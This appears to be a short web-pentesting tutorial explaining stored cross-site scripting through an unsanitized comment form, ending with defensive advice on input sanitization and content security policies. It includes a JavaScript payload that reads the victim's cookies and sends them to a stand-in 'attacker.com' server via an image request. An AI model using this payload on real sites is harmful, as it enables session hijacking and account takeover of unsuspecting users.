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Web Pentesting Changing HTML Code with XSS

Cross-site scripting (XSS) is a type of web vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. One of the ways that an attacker can use XSS is by changing the HTML code of a web page, which can lead to the execution of arbitrary code on the victim's browser.

To demonstrate how an attacker might exploit this vulnerability, let's consider an example. Suppose there is a website that allows users to post comments. The website uses a form to collect the comment text and display it on the page for other users to see. However, the website does not properly sanitize the input, so an attacker can inject HTML and JavaScript code into their comment.

An attacker might use the following code to exploit the vulnerability:

“ // steal the user's cookies
var cookies = document.cookie;
// send the cookies to the attacker's server
var img = new Image();
img.src = "http://attacker.com/steal.php?cookies=" + encodeURIComponent(cookies);

When a user views the page with the attacker's comment, the JavaScript code will execute in their browser. This will cause their browser to send their cookies to the attacker's server, which can then use them to impersonate the user.

To prevent this type of attack, web developers should always sanitize user input before displaying it on the page. This can be done by removing any HTML tags and special characters that could be used to inject code. Additionally, web developers should use content security policies (CSPs) to limit the types of code that can be executed on a page. Finally, web users should be cautious about clicking on links or visiting websites from unknown sources, as these can be used to deliver malicious code.

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Web Pentesting Changing HTML Code with XSS